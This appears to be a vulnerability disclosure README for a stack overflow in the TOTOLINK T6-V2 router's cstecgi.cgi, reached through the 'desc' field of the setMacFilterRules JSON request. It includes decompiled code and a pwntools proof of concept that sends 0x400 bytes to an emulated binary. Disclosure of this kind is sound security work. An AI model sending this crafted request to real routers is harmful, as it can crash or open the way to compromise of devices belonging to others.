d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_0041880c` (at address 0x41880c) gets the JSON parameter `desc`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_0041880c -  (cstecgi.cgi)
74    __src = (char *)websGetVar(param_1,"desc","");
75    iVar5 = FUN_004220b4(pcVar3);
76    if (iVar5 == 0) goto LAB_00418bd0;
77    if (iVar4 == 1) {
78      apmib_get(0x7b,local_24);
79      if (0x1f < local_24[0]) goto LAB_00418bd0;
80      if (0 < local_24[0]) {
81        iVar4 = 1;
82        do {
83          memset(&local_94,0,0x3b);
84          local_94 = (byte)iVar4;
85          apmib_get(0x807c,&local_94);
86          snprintf((char *)&local_48,0x20,"%02X:%02X:%02X:%02X:%02X:%02X",(uint)local_94,
87                   (uint)local_93,(uint)local_92,(uint)local_91,(uint)local_90,(uint)local_8f);
88          iVar5 = strcasecmp((char *)&local_48,pcVar3);
89          iVar4 = iVar4 + 1;
90          if (iVar5 == 0) goto LAB_00418bd0;
91        } while (iVar4 <= local_24[0]);
92      }
93      iVar4 = 0;
94      cVar1 = *pcVar3;
95      while (cVar1 != '\0') {
96        if (cVar1 != ':') {
97          *(char *)((int)&local_58 + iVar4) = cVar1;
98          iVar4 = iVar4 + 1;
99        }
100       pcVar7 = pcVar3 + 1;
101       pcVar3 = pcVar3 + 1;
102       cVar1 = *pcVar7;
103     }
104     if ((char)local_58 == '\0') goto LAB_00418bd0;
105     sVar6 = strlen((char *)&local_58);
106     FUN_004232bc(&local_58,auStack328,sVar6);
107     strcpy(acStack322,__src);
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setMacFilterRules",
    "addEffect": "1",
    "enable": "1",
    "mac": "00:00:00:00:00:00",
    "desc": 'A'*0x400
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
```

```
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```